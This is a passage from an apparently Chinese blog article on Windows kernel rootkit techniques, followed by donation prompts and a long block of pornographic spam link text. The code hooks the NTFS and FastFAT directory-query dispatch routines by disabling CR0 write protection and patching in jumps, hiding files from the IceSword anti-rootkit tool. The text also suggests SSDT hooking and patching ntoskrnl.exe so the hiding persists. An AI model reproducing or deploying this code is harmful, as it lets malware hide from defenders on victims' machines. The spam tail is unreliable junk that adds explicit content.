????????????????????}????????????????
????????????????}


????????????????Status = OldFatQueryDirectoryDispatch??(
????????????????????????????????????????DeviceObject,
????????????????????????????????????????Irp );

????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, OldFatQueryDirectoryDispatch
????????????????????mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
????????????????????mov [edi], eax
????????????????????mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
????????????????????mov [edi+4], ax
????????????????????popad
????????????????}
????????????????return Status;
}

NTSTATUS PatchFileSystemDevicePatDispatch()
{
????NTSTATUS NtfsStatus;
????NTSTATUS FastFatStatus;
????UNICODE_STRING FileSystemName;
????PVOID FileDeviceObject;
????POBJECT_TYPE ObjectType;
????
????????DbgPrint("My Driver Loaded!");

????????RtlInitUnicodeString( &FileSystemName, L"http://FileSystem//Ntfs" );

????????NtfsStatus = ObReferenceObjectByName??(??
????????????????????????????????&FileSystemName,??
????????????????????????????????0x40,??
????????????????????????????????NULL,??
????????????????????????????????NULL,??
????????????????????????????????&ObjectType,??
????????????????????????????????NULL,??
????????????????????????????????NULL,??
????????????????????????????????&FileDeviceObject );
????????if??( NtfsStatus == STATUS_SUCCESS )
????????{

????????????_asm
????????{
????????????pushad
????????????mov edi, FileDeviceObject
????????????mov eax, [edi+0x68]
????????????mov OldNtfsQueryDirectoryDispatch, eax
????????????popad
????????}

????
????????????_asm
????????{
????????????CLI??????????????????
????????????MOV????EAX, CR0??????
????????????AND EAX, NOT 10000H
????????????MOV????CR0, EAX??????
????????}

??????????????_asm
????????{
????????????pushad
????????????mov edi, OldNtfsQueryDirectoryDispatch
????????????mov eax, [edi]
????????????mov dword ptr ResumCodeNtfsQueryDirectoryDispatch[0], eax
????????????mov ax, [edi+4]
????????????mov word??ptr ResumCodeNtfsQueryDirectoryDispatch[4], ax
????????????
????????????mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[0], 0x68
????????????lea edi, NewNtfsQueryDirectoryDispatch
????????????mov dword ptr CrackCodeNtfsQueryDirectoryDispatch[1], edi
????????????mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[5], 0xC3

????????????mov edi, OldNtfsQueryDirectoryDispatch
????????????mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
????????????mov dword ptr[edi], eax
????????????mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
????????????mov word ptr[edi+4], ax
????????????popad
????????}


????????????_asm
????????{
????????????MOV????EAX, CR0??????
????????????OR????EAX, 10000H??????????
????????????MOV????CR0, EAX??????????????
????????????STI??????????????????
????????}
????????}


????????RtlInitUnicodeString( &FileSystemName, L"http://FileSystem//Fastfat" );

????????FastFatStatus = ObReferenceObjectByName (??
????????????????????????????????&FileSystemName,??
????????????????????????????????0x40,??
????????????????????????????????NULL,??
????????????????????????????????NULL,??
????????????????????????????????&ObjectType,??
????????????????????????????????NULL,??
????????????????????????????????NULL,??
????????????????????????????????&FileDeviceObject );
????????if ( FastFatStatus == STATUS_SUCCESS )
????????{
????????????_asm
????????{
????????????pushad
????????????mov edi, FileDeviceObject
????????????mov eax, [edi+0x68]
????????????mov OldFatQueryDirectoryDispatch, eax
????????????popad
????????}

????
????????????_asm
????????{
????????????CLI??????????????????
????????????MOV????EAX, CR0??????
????????????AND EAX, NOT 10000H
????????????MOV????CR0, EAX??????
????????}

??????????????_asm
????????{
????????????pushad
????????????mov edi, OldFatQueryDirectoryDispatch
????????????mov eax, [edi]
????????????mov dword ptr ResumCodeFatQueryDirectoryDispatch[0], eax
????????????mov ax, [edi+4]
????????????mov word??ptr ResumCodeFatQueryDirectoryDispatch[4], ax
????????????
????????????mov byte ptr CrackCodeFatQueryDirectoryDispatch[0], 0x68
????????????lea edi, NewFatQueryDirectoryDispatch
????????????mov dword ptr CrackCodeFatQueryDirectoryDispatch[1], edi
????????????mov byte ptr CrackCodeFatQueryDirectoryDispatch[5], 0xC3

????????????mov edi, OldFatQueryDirectoryDispatch
????????????mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
????????????mov dword ptr[edi], eax
????????????mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
????????????mov word ptr[edi+4], ax
????????????popad
????????}


????????????_asm
????????{
????????????MOV????EAX, CR0????
????????????OR????EAX, 10000H????
????????????MOV????CR0, EAX??????????
????????????STI??????????????????
????????}


????????
????????}

????????return ( NtfsStatus & FastFatStatus );??

}
以上代碼只能實現在IS中隱藏文件,如果要想在普通情況下隱藏文件,可以hook服務表中的函數,也可以在上面構造新的分派函數中增加一些選擇項就是了。但是記得hook服務表中的函數別忘了把構造后的數據寫入otoskrnl.exe中,免得IS啟動時失效。


八、關于端口:

????感覺是該停止的時候了,如果把這個也搞出來并且本文被灰鴿子作者之流A進他的作品的話,那就違背我的本意并且我的心也會也會難受的。因此就在這里 止步吧! 呵呵,今年我想要學的東西,想要做的事情也都做完了。可以好好回去過年了。爽啊!最后祝各位圣誕快樂!特別時那些他鄉的游子。記得打個電話回去問候喲!


參考文章:

wuyanfeng ????《icesword 驅動部分分析》 //呵呵,希望大家給國產調試器一些支持 !!????
tombkeeper????《獲取Windows 系統的內核變量》???? http://www.xfocus.net/articles/200408/724.html
JIURL ????????《IRP 亂雜談》???????????? http://jiurl.yeah.net/????????
JIURL????????《JIURL玩玩Win2k進程線程篇 HANDLE_TABLE》 http://jiurl.yeah.net/
JIURL ????????《JIURL玩玩Win2k 對象》???????????? http://jiurl.yeah.net/????
sinister????《隱藏任意進程,目錄/文件,注冊表,端口》

能記得住的文章就這幾個了。

利用偽造內核文件來繞過IceSword的檢測


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 丝袜美腿一区二区三区 | 国产美女特级嫩嫩嫩bbb | 免费看成人aa片无码视频 | 少妇肥臀大白屁股高清 | 精品成人乱色一区二区 | 少妇寂寞小伙满足少妇在线观看 | 欧美人妖一区 | 成人免费日韩 | 人妻少妇乱子伦无码专区 | 乐播av一区二区三区在线观 | 91精品国产综合久久久久久软件 | 99精品全国免费观看视频 | 少妇又色又爽又黄的视频 | 小宝极品内射国产在线 | 免费人成网站在线观看不卡 | 色av综合网 | 午夜影院污 | 久久精品国产999大香线蕉 | 精品自拍av| av天堂亚洲区无码小次郎 | 97香蕉久久夜色精品国产 | 国产青草视频在线观看 | 四虎www | 无遮挡aaaaa大片免费看 | 成人一级黄色毛片 | 91精品久久久久久久久久另类 | 日本jyzz | 91看片淫黄大片一级在线观看 | 国产精品久久久久久久影院 | 狠狠淫xx | 久久免费黄色网址 | 国产日产欧美视频 | 特a毛片 | 天天影视色香欲综合网一寡妇 | 99av国产精品欲麻豆 | 久久亚洲国产精品成人av秋霞 | 亚洲这里只有久热精品伊人 | 怡红院成人av | 国产成人久久精品二区三区 | 日韩精品中文字幕在线 | 国产精品偷伦视频免费还看的 | 国产三级午夜理伦三级连载时间 | 午夜艹逼 | 免费看污污视频 | 中文激情在线一区二区 | 欧美xxxxx高潮喷水 | 久久精品日 | 在线观看亚洲一区 | 国产一区二区二 | 国产日韩欧美一二三区 | 久久黄色成人 | 激情小说另类图片 | 欧美肉大捧一进一出免费视频 | 中文字幕理论片 | 男ji大巴进入女人的视频小说 | 大片视频免费观看视频 | 91在线天堂| 日韩精品无码一区二区中文字幕 | 成人毛片100免费观看 | 久久久久久666 | 亚洲综合电影小说图片区 | 东京热人妻一区二区三区 | a级成人毛片 | 国产粉嫩高中无套进入 | 亚洲精品乱码久久久久久麻豆不卡 | 中文字幕国产综合 | 亚洲加勒比久久88色综合 | 好吊妞这里都是精品 | 免费特级黄毛片 | 亚洲处破女av一区二区中文 | 高清福利视频 | 亚洲欧美日韩成人一区二区三区 | 午夜dj在线观看高清在线视频完整版 | 国产成人麻豆精品午夜在线 | 国产老熟女狂叫对白 | 国产精品vr虚拟专区 | 牲欲强的熟妇农村老妇女视频 | 全国男人天堂网 | 噜噜噜久久亚洲精品国产品91 | 中文字幕无码一区二区免费 | 蜜臀av999无码精品国产专区 | 日韩福利片 | 无码午夜福利视频一区 | 超碰免费在线观看 | 午夜一级黄色片 | 亚洲va国产日韩欧美精品色婷婷 | 日本亚洲精品一区二区三区 | 中文字幕无码乱人伦免费 | 日韩精品一区二区三区中文无码 | 一色桃子656中文字幕 | 美女爽爽影院 | 亚洲人和日本人jzz视频 | 国产偷国产偷亚洲清高app | 337p大尺度啪啪人体午夜 | 97人人模人人爽人人少妇 | www.久久精品.com | 国产午夜福利在线观看视频_ | 国产精品乡下勾搭老头1 | 亚洲字幕 | 日韩视频中文字幕在线观看 | 国产a∨国片精品白丝美女视频 | 日本一卡二卡不卡视频查询 | 大香伊蕉日本一区二区 | 婷婷色五| 福利午夜| 亚洲精品成人网线在线播放va | 日韩中文人妻无码不卡 | 一级性生活免费 | 又粗又硬国语对白 | 久久狠狠一本精品综合网 | 91看片网页版 | 99ee6这里只有精品热 | 精品在线视频一区 | 亚洲成av人片天堂网 | 欧美丰满美乳xxⅹ高潮www | 成人免费一区二区三区视频软件 | 视频一区视频二区制服丝袜 | 在线观看高清av | 黄色工厂这里只有精品 | 波多野吉衣av在线 | 日韩国产精品无码一区二区三区 | 韩国精品无码久久一区二区三区 | 色偷偷偷在线视频播放 | 欧美精品18videosex性欧美 | 日韩免费av| 亚洲美女视频高清在线看 | 老司机性色福利精品视频 | 91视频8mav| 国产性猛交普通话对白 | 在线成人免费视频 | 久久久久人妻精品一区蜜桃网站 | 沈阳熟女露脸对白视频 | 三级国产99久久 | 2021国产精品香蕉在线观看 | 熟女无套高潮内谢吼叫免费 | 亚洲揄拍窥拍久久国产自揄拍 | 欧美一区二区三区久久综合 | 国产亚洲视频在线观看网址 | 99久久综合精品五月天 | 国产不卡在线视频 | 亚洲一区二区三区在线观看精品中文 | 免费色视频| 图片区小说区激情区偷拍区 | 欧美第一黄网免费网站 | 欧美性xxxx极品hd大豆行情 | 久久久噜噜噜久久熟女色 | 国产亚洲综合av | 在线播放五十路熟妇 | 久热国产精品视频 | 国内精品视频免费观看 | 精品一卡2卡三卡4卡免费网站 | 久久久青青草 | 成人动漫综合网 | 无码精品国产一区二区免费 | 久久夜色av | 成人a大片在线观看 | 女十八免费毛片视频 | 久精品国产欧美亚洲色aⅴ大片 | 中国极品少妇xxxx做受 | 欧美精品一区二区三 | 久久九九51精品国产免费看 | 豆国产97在线 | 亚洲 | 国产国产人免费人成免费视频 | 久久人人爽人人爽人人片av高清 | 久久夜色精品国产欧美一区麻豆 | 国产精品va在线播放 | 四虎影视8848 | 精品美女一区二区 | 国产高清露脸孕妇系列 | 亚洲免费精品 | 国产精品日产欧美久久久久 | 顶级欧美做受xxx000久久久 | 久久久久欠精品国产毛片国产毛生 | 女人久久久久 | 国产成人无码精品一区二区三区 | 在线精品免费视频无码的 | 日本丰满少妇裸体自慰 | 免费观看欧美猛交视频黑人 | 粉嫩av一区二区三区在线观看 | 国产午夜鲁丝无码拍拍 | 免费看18禁止观看黄网站 | 爆乳喷奶水无码正在播放 | 国产做a爱片久久毛片a片 | 99久久夜色精品国产亚洲1000部 | 91精品卡一卡二卡乱码 | 99看片 | 国产在线看片 | 三年中国中文在线观看视频 | av看片网| 视频一区二区在线播放 | 久久天天躁狠狠躁夜夜2020老熟妇 | 黄床片30分钟免费视频教程 | 日韩在线视频免费 | 懂色av一区二区三区久久久 | 久久免费看少妇高潮v片特黄 | 中国老太婆bb无套内射 | 国内一区二区三区香蕉aⅴ 国产精品久久久久9999高清 | 久久99精品国产一区二区三区 | 国产女同疯狂激烈互摸 | 九一精品国产 | 国内精品久久久久久久小说 | 久久女性裸体无遮挡啪啪 | 亚洲第二色 | 交资源www在线观看 www.中文字幕在线观看 | 国内精品91 | 欧美福利第一页 | 国产农村黄aaaaa特黄av毛片 | 欧洲美色妇ⅹxxxxx欧美 | 日韩五码在线 | 国产aaa免费 | 人与野鲁交xxxⅹ视频 | 久久免费精品国产72精品 | 中文字幕v亚洲日本在线 | 久久精品视频免费看 | 国产成人亚洲精品无码综合原创 | 大奶子网站 | 国产青青视频 | 国产人成免费爽爽爽视频 | 日日碰日日摸夜夜爽无码 | 爽妇网av| 欧美sese | 国产欧美激情日韩成人三区 | 性史性高校dvd毛片 浪潮av一区二区 | 久久精品视频在线观看 | 色婷婷亚洲十月十月色天 | 少妇精品 | 亚洲国内成人精品网 | 色综合久久中文综合网 | 色哟哟欧美精品免费视频 | 秋霞午夜成人久久电影网 | 伊人久久成人 | 国产亚洲第一区 | 欧美性俱乐部 | 伊人亚洲综合 | 国产专区第一页 | 激情婷婷网 | 欧美人一级淫片a免费播放 亚洲另类一区二区 | 浪潮av激情高潮国产精品香港 | av在线不卡免费 | 久久有精品 | 韩国精品无码久久一区二区三区 | 99久久re免费热在线 | av片亚洲国产男人的天堂 | 色吧色综合 | 未满小14洗澡无码视频网站 | 最新国产毛片 | 91手机看片 | 天天澡日日澡狠狠欧美老妇 | 边啃奶头边躁狠狠躁玩爽在水里面 | 亚洲品质自拍 | 久久午夜神器 | 亚洲综合av在线在线播放 | 韩国和日本免费不卡在线v 呦女精品 | 天堂无乱码 | 黄色片一级免费 | 成人电线在线播放无码 | 欧产日产国产精品视频 | 中文字幕日韩精品一区二区三区 | 在线中文新版最新版在线 | 91香蕉视频在线 | 被灌满精子的波多野结衣 | 女人喷潮完整视频 | 奷小罗莉在线观看国产 | 日韩综合夜夜香内射 | 亚洲成av人的天堂在线观看 | 精品国产综合成人亚洲区 | 国产精品无码久久综合网 | 国产精品69久久久久孕妇欧美 | 91视频黄版 | 日日摸天天摸爽爽狠狠97 | www.嫩草 | 含羞草一区二区 | 亚洲男人av天堂男人社区 | 亚洲国产欧美在线观看 | 无码中文字幕免费一区二区三区 | 成人午夜视频在线播放 | 尤物国产在线精品福利三区 | 区二区三区在线 | 欧洲 | 黄色三级视屏 | 久久国产成人精品av | 99久久精品午夜一区二区 | 亚洲欧美一区二区三区三高潮 | 91视频播放器 | 精品视频第一页 | 国产成人精品123区免费视频 | 日本久久99 | 特大黑人巨交吊性xxxx视频 | 成人无码视频在线观看大全 | 欧美在线视频你懂的 | 任我爽精品视频在线播放 | 中国少妇初尝黑人巨高清 | 人妖 丝袜 另类 亚洲 | 精品综合久久久久久97超人 | 国产艳福片内射视频播放 | 午夜看片在线 | 精品日产一卡2卡三卡4卡在线 | 国产不卡福利片在线观看 | 亚洲激情在线视频 | 最色网站| av大片网站 | 歪歪爽蜜臀av久久精品人人 | 久一蜜臀av亚洲一区 | 日韩人妻无码一区二区三区综合 | 两性色午夜视频免费老司机 | 亚洲色精品88色婷婷七月丁香 | 国产精品亚洲精品日韩已满十八小 | 精品欧美一区二区精品久久久 | 3d欧美精品动漫xxxx无尽 | 美女的奶胸大爽爽大片 | 成人中文字幕视频 | 97自拍偷拍 | 玖玖资源站最稳定网址 | 国产真实野战在线视频 | 91成人在线播放 | 精品99在线 | 新版天堂8中文在线最新版官网 | 国产亚洲精品美女久久久久 | 在线āv视频 | 国产欧美一区二区精品性色超碰 | 久久亚洲精品高潮综合色a片 | 日本人妖aⅴ系列 | 亚洲一区欧美日韩 | 无码人妻一区二区三区一 | 97国产精华最好的产品在线 | 欧美日韩综合一区二区三区 | 四虎影院久久 | 天码人妻一区二区三区 | 午夜成人无码福利免费视频 | 四虎成人精品永久免费av | 91国语精品自产拍在线观看性色 | 日本真人边吃奶边做爽电影 | 国产午夜无码片在线观看网站 | 久久精品欧美视频 | 婷婷六月激情 | 亚洲第八页| 五月色婷婷亚洲精品制服丝袜1区 | 香蕉有码在线视频发布 | 加勒比一本heyzo高清视频 | 天天透天天干 | 九色欧美 | 久久无码高潮喷水免费看 | 亚洲欧洲另类精品久久综合 | 亚洲成a人片在线观看的电影 | 99热这里只有精品最新地址获取 | 精品国产亚洲一区二区三区 | 天天干天天日夜夜操 | 法国啄木乌av片在线播放 | 蜜桃传媒av免费观看麻豆 | 国产日产欧洲无码视频 | 韩国毛片视频 | 久青草无码视频在线播放 | 在线а√天堂中文官网 | 国产精品一卡二卡三卡破解版 | 无码国产69精品久久久久同性 | 视频一区二区三区中文字幕 | 国产午夜成人久久无码一区二区 | 成人精品视频在线观看不卡 | 色屁屁www免费看欧美激情 | 久草资源福利 | 中文字幕一级二级三级 | 国内揄拍国内精品对白86 | 久久久久久成人网 | 国产精久久一区二区三区 | 国内熟女啪啪自拍 | 精品视频免费在线观看 | 亚洲成色在线综合网站 | 欧美成人精品激情在线观看 | 黄网在线播放 | 亚洲精品国产成人一区二区 | 张津瑜国内精品www在线 | 国产女人的高潮国语对白 | 三上悠亚福利一区二区 | 免费在线观看黄色片 | 少妇愉情理伦片bd | 久久久www成人免费无遮挡大片 | 亚洲日本乱码在线观看 | 国产作爱激烈叫床视频 | 国产性色 | 亚洲午夜福利av一区二区无码 | 人妻与老人中文字幕 | 久热中文字幕在线观看 | 久久婷婷久久一区二区三区 | 五月婷婷开心中文字幕 | 无遮挡边摸边吃奶边做视频免费 | 亚洲精品热| 国产理伦天狼影院 | 日本偷偷操 | 亚洲 制服丝袜 中文字幕 在线 | 国产熟妇精品高潮一区二区三区 | 午夜性又黄又爽免费看尤物 | 国产av亚洲精品久久久久李知恩 | 精品国产欧美日韩 | 手机在线免费av | 国产欧美日韩在线在线播放 | 中文字幕涩涩久久乱小说 | 秋霞三区 | 国产aaaaav久久久一区二区 | 亚洲精品久久久久久久久久吃药 | 久久免费高清视频 | 岛国裸体写真hd在线 | 色欲国产精品一区成人精品 | 国产精品视频男人的天堂 | 国产免费人做人爱午夜视频 | 精品视频免费在线观看 | 东北老头嫖妓猛对白精彩 | 女人被躁到高潮嗷嗷叫免费 | 最近中文字幕在线免费观看 | 亚洲伊人网站 | 亚洲三级视频网站 | 你懂的在线看 | 亚洲国产欧洲综合997久久 | 国产精品成人av在线观看 | 中文字幕专区高清在线观看 | www.国产二区 | 欧美日韩精品一区二区天天拍小说 | 国产嘿咻视频 | 少妇肉麻粗话对白视频 | 天堂在/线中文在线资源 官网 | 日韩成人免费 | 疯狂做受xxxx高潮欧美日本 | 欧美日韩国产的视频yw885 | 99久久久国产精品免费无卡顿 | 精品成人一区二区三区 | 在线观看www视频 | 草b视频在线观看 | 骚虎视频在线观看 | 日本乱码一区二区 | 欧美成人一区免费视频 | 人成午夜大片免费视频 | 国产美女露脸口爆吞精 | 中文字幕在线视频一区二区三区 | 女人高潮抽搐喷液30分钟视频 | 亚洲日韩国产一区二区三区在线 | 久久久成人毛片无码 | 92精品国产自产在线观看481页 | 国产又粗又猛又爽又黄的视频在线观看动漫 | 色综合天天综合高清网国产在线 | 精品亚洲一区二区三区 | 狠狠综合久久av一区二区老牛 | 日韩欧美亚洲综合久久影院ds | 91视频爱爱 | 亚洲精品国产摄像头 | 99久久国产综合精品1 | 日韩欧美不卡视频 | 激情五月综合婷婷 | 亚洲精品黑牛一区二区三区 | 国产麻豆剧果冻传媒星空视频 | 色噜噜狠狠色综合av | 国产麻豆剧果冻传媒一区 | 中文字幕三级人妻无码视频 | av片一区| 高清国产在线拍揄自揄视频 | 丰满少妇好紧多水视频 | 成人久久精品 | 夜夜草天天草 | 美丽肉奴隷1986在线观看 | 熟妇人妻中文a∨无码 | 就爱啪啪网站 | 亚洲精品一区二区三区麻豆 | 久久中文骚妇内射 | 国产女人18毛片水18精 | 中文字幕丝袜第1页 | 揉丰满老妇老女人的毛片 | 色伊人网| 中文字幕在线观看日本 | 国产精品sp调教打屁股 | 伊人久久综合成人网 | 国产精品久久久久久人妻精品18 | 午夜精品久久久久久久99婷婷 | 三级网站免费播放 | 国产成人精品日本亚洲直接 | 国产voyeur精品偷窥222 | 色爱综合网 | 亚洲午夜无码极品久久 | 中文字幕亚洲精品久久女人 | 日本精品久久久久中文字幕 | 国产精品久久久久久亚洲调教 | 国产无遮挡又黄又爽在线观看 | 欧美三级黄 | 午夜精品久久久久久久99樱桃 | av在线免费观看网站 | 中午日产幕无线码1区 | 欧美综合天天夜夜久久 | 欧美变态tickling挠脚心 | 中文字幕无线码蘑菇视频 | 国产女人精品视频 | 欧美一区二区三区另类 | 欧美最黄视频 | 一本岛高清乱码2020叶美 | 日本成本人片视频免费 | 国色天香社区在线视频观看 | 欧美精品一区二 | 内射老阿姨1区2区3区4区 | 国产美女视频国产视视频 | 不卡av中文字幕手机看 | 欧美高清熟妇啪啪内射不卡自拍 | 无遮挡1000部拍拍拍欧美劲爆 | 国产成人精品一区二区3 | 日韩在线视频二区 | 高潮抽搐潮喷毛片在线播放 | 欧洲卡一卡二卡三爱区 | 亚洲欲色欲色xxxxx在线 | 亚洲专区第一页 | 欧美人与动另类xxxx | 国产亚州av | 成 人 黄 色视频免费播放 | 欧美日韩国产一区二区三区 | 国内精品伊人久久久久av | 国产视频手机在线播放 | 国产精品一区2区 | 97视频在线免费观看 | 亚洲精品国产av成拍色拍婷婷 | 国产精品揄拍500视频 | 98国产精品午夜免费福利视频 | 亚洲夜夜性无码国产盗摄 | xxxx日本少妇 | 国模无码大尺度一区二区三区 | 亚洲精品国产精品国自产观看 | 试看120分钟做受小视频 | 欧美怡红院免费全部视频 | 国产a线| 亚洲精品国产首次亮相 | 欧美激情在线 | 国产国产国产国产系列 | 色悠久久久久久久综合 | 欧美日本在线视频 | 中文字幕乱码免费看电影 | 日韩精品一二三 | 亚洲国产精品成人 | 国产精品亚洲天堂 | 浪潮av网站 | 999免费观看视频 | 少妇把腿扒开让我爽爽视频 | 日韩午夜在线观看 | 青娱乐极品在线 | 日韩精品福利 | 亚洲欧洲中文日韩久久av乱码 | 国精产品一区二区三区 | 婷婷五月俺也去人妻 | 四虎影视库 | 狠狠操导航 | 久久99精品热在线观看 | 2021国产麻豆剧传媒精品 | 蜜臀.com| 天天舔日日干 | 亚洲精品久久国产精品浴池 | 亚洲欧美日韩中文字幕在线一区 | 国内精品伊人久久久久av影院 | 欧美一区二区日韩国产 | 天天躁夜夜躁狠狠是什么心态 | 蜜臀av无码国产精品色午夜麻豆 | 中文字幕欧美亚州视频免费 | 在线观看高清黄网站观看 | 亚洲天堂免费在线观看视频 | 国产精品视频一区二区免费不卡 | 国产av一区二区三区天堂综合网 | 日本熟妇色一本在线看 | 中文字幕乱偷无码av先锋蜜桃 | 强开小婷嫩苞又嫩又紧视频 | 欧美成人影院亚洲综合图 | 欧美日韩色另类综合 | 精品无码一区二区三区 | 久久人人爽人人人人片 | 国产喷水福利在线视频 | 亚洲三级在线视频 | 亚洲欧美一区二区三 | 亚洲跨种族黑人xxxxx | 四虎精品 在线 成人 影院 | 国产开嫩苞在线播放视频 | 中文字幕狠狠干 | 亚洲精品久久av无码麻 | 久久婷婷人人澡人人喊人人爽 | 黄色片免费视频 | 亚洲大乳av成人天堂精品 | 另类激情综合网 | 中国老妇荡对白正在播放 | av片子在线观看 | 久久国产成人免费网站777 | 色综合亚洲一区二区小说 | 成人一二区 | 少妇导航| 亚洲另类无码专区首页 | 天天色天天干天天色 | 日韩精品在线第一页 | 亚洲高清偷拍一区二区三区 | 72式性无遮挡免费视频隐私的 | 亚洲无亚洲人成网站77777 | 欧美成人综合网站 | 欧美极品在线播放 | 丰满少妇夜夜爽爽高潮水 | 亚洲高清国产拍精品闺蜜合租 | 亚洲图片888 | 亚洲精品揄拍自拍首页一 | 亚洲国产精品久久久久久 | 久久香蕉国产 | 国产又黄又粗又猛又爽的视频 | 亚洲6080yy久久无码产自国产 | 人人超人人超碰超国产97超碰 | 日本中文字幕一区二区有码在线 | 色偷偷人人澡久久超碰97 | 免费黄色生活片 | 熟女乱牛牛视频在线观看 | 少妇高潮流白浆在线观看 | 无遮挡啪啪摇乳动态图gif | 69sex久久精品国产麻豆 | 乱人伦人妻系列 | 成人免费看片又大又黄 | 日韩午夜久久 | 99久久精品国| 美女被张开双腿日出白浆 | 中国久久久 | 特一级黄色大片 | 9420免费高清在线观看视频 | 精品无人乱码一区二区三区的特点 | 久草资源在线 | 日韩美女在线观看一区 | 日韩中文字幕在线不卡 | 亚洲伊人伊色伊影伊综合网 | 免费乱码人妻系列无码专区 | 射精专区一区二区朝鲜 | 欧洲hdxxxx女同av性恋 | 天天爽夜夜爽夜夜爽精品视频红桃 | 亚洲精品乱码久久久久久蜜桃图片 | 玩弄中年熟妇正在播放 | 我要干我要操 | 一区二区三区三区在线 | 亚洲最大国产成人综合网站 | 五月婷婷激情 | 亚洲精品视频网 | 天堂在线资源中文 | 无码人妻丰满熟妇啪啪 | 亚洲五月色丁香婷婷婷 | 日韩aⅴ在线观看 | 亚洲免费播放 | 人妻精品国产一区二区 | 久久精品国产亚洲77777 | 中国妇女做爰视频 | 九月色婷婷 | 在线 国产 欧美 亚洲 天堂 | 中文字幕日韩人妻不卡一区 | 亚洲欧美日韩久久一区二区 | 广东少妇大战黑人34厘米视频 | 日本成人黄色片 | 一本久久精品久久综合桃色 | 日产国产精品亚洲系列的特点 | 精品国产在天天在线观看 | 亚洲乱码一卡二卡四卡乱码新区 | 午夜美女国产毛片福利视频 | 欧美牲交a欧美牲交aⅴ久久 | 国产亚洲精品久久久久久无几年桃 | 国产爆乳肉感大码在线视频 | 在线最全导航精品福利av | 亚洲成av人片在www | 久久久亚洲欧美 | 少妇高潮惨叫久久久久久电影 | 亚洲中文字幕日本在线观看 | 成人未满十八无毛片 | 国产黄色一区二区三区 | 丁香啪啪综合成人亚洲小说 | 少妇高潮喷水惨叫久久久久电影 | 中文字幕无码不卡一区二区三区 | 夜色成人av | 国产精品麻花传媒二三区别 | 日韩欧美在线视频 | 亚洲国产精品久久久 | 可以免费观看的av | 日韩三级毛片 | 一本综合久久 | 国产中文字幕第一页 | 国产99视频精品免费观看9 | 在线理论视频 | 国产亚洲一卡2卡3卡4卡老狼 | а天堂中文在线官网 | 狠狠躁夜夜躁久久躁别揉 | 精品日产一卡2卡三卡4卡自拍 | 成人激情在线 | 精品久久久久成人码免费动漫 | 中文字幕一区二区三区免费 | 国产做爰xxxⅹ久久久 | 亚洲日韩国产av中文字幕 | 亚洲狠狠丁香婷婷综合久久久 | 极度另类bbwbbwbbw日本 | 国产一区二区内射最近更新 | 免费在线观看a视频 | www.亚洲色图 | 日本精品久久久久久久 | 国产日产欧美最新 | 欧美18videosex性欧美黑吊 | 黄色一级片在线播放 | 色丁香色婷婷 | 闺蜜高h季红豆h | 丁香伊人网 | 欧美色五月 | 亚洲乱亚洲乱少妇无码 | 亚洲乱色熟女一区二区三区丝袜 | 成人永久免费 | 奇米影视888狠狠狠777不卡 | 丝袜 亚洲 另类 国产 制服 | 青娱乐福利视频 | gogo西西人体大尺度大胆伊人 | 国产黄色一级 | 亚洲男女一区二区三区 | 亚洲成综合人在线播放 | 久久久久久国产精品无码超碰 | 久久无码精品一一区二区三区 | 五月婷婷丁香六月 | 国产精品午夜在线 | 国产精品超碰 | 毛茸茸厕所偷窥xxxx | 日韩国产人妻一区二区三区 | 在线观看www | 91超薄肉色丝袜交足高跟凉鞋 | 俄罗斯少妇bbb好爽 青青草日本 | 欧美丰满少妇xxxxx高潮对白 | 大象一区一品精区搬运机器 | 国产亚洲精品第一综合麻豆 | 男女日批免费视频 | 免费观看av网址 | 日本一区二区在线看 | 久久综合色一综合色88欧美 | 欧美大屁股熟妇bbbbbb | 国产成人午夜在线视频a站 尤物毛片 | 国产情侣一区二区三区 | 无码人妻精品中文字幕免费东京热 | 久草网站 | 肉欲性毛片交国产 | 好爽进去了视频在线观看国版 | 中国丰满少妇xxxxx高潮 | 国产曰批免费视频播放免费 | 成人国产精品 | 蜜臀av性久久久久蜜臀aⅴ | 很黄很黄的曰批视频 | 亚洲精品久久中文字幕 | 狠狠躁夜夜躁人人爽天天不 | 日韩高清精品免费观看 | 午夜dy888国产精品影院 | 国产亚洲人成网站观看 | 亚洲精品9999久久久久无码 | 最近的中文字幕在线看视频 | 丁香八月婷婷 | 综合精品久久久 | 久久青青草免费线频观 | 91国偷自产一区二区三区女王 | 疯狂的欧美乱大交 | 狠狠躁夜夜躁人人爽天天不卡软件 | 91国在线高清视频 | 国产精品禁忌a片特黄a片 | 亚洲精品1卡2卡三卡23卡 | 久久精品国产sm调教网站演员 | 精品久久久久国产免费第一页 | 福利视频网址导航 | 色综合狠狠操 | 狠狠躁天天躁夜夜躁婷婷老牛影视 | 伊人五月天 | a级一级片 | 成年人av网站| 樱花草在线社区www韩国 | 国产无套粉嫩白浆内谢软件 | 一区二区三区四区在线 | 中国 | 国产91精品露脸国语对白 | 免费人成在线观看视频高潮 | 国内精品视频一区二区八戒 | 久久无码人妻影院 | 91精品国产自产精品男人的天堂 | 成人乱人乱一区二区三区 | 亚洲男女在线观看 | 一区二区三区黄色录像 | 成人伊人亚洲人综合网 | 亚洲天堂一区在线 | 日日干夜夜爽夜夜高潮 | 狠狠色狠色综合曰曰 | 国产成人综合美国十次 | 天天插av | 国产精品蜜臀av免费观看四虎 | 亚洲性夜夜天天天 | 国产精品高跟丝袜一区 | 二区在线播放 | 亚洲乱码一卡二卡卡3卡4卡 | 小早川怜子痴女在线精品视频 | 成年男人的天堂 | 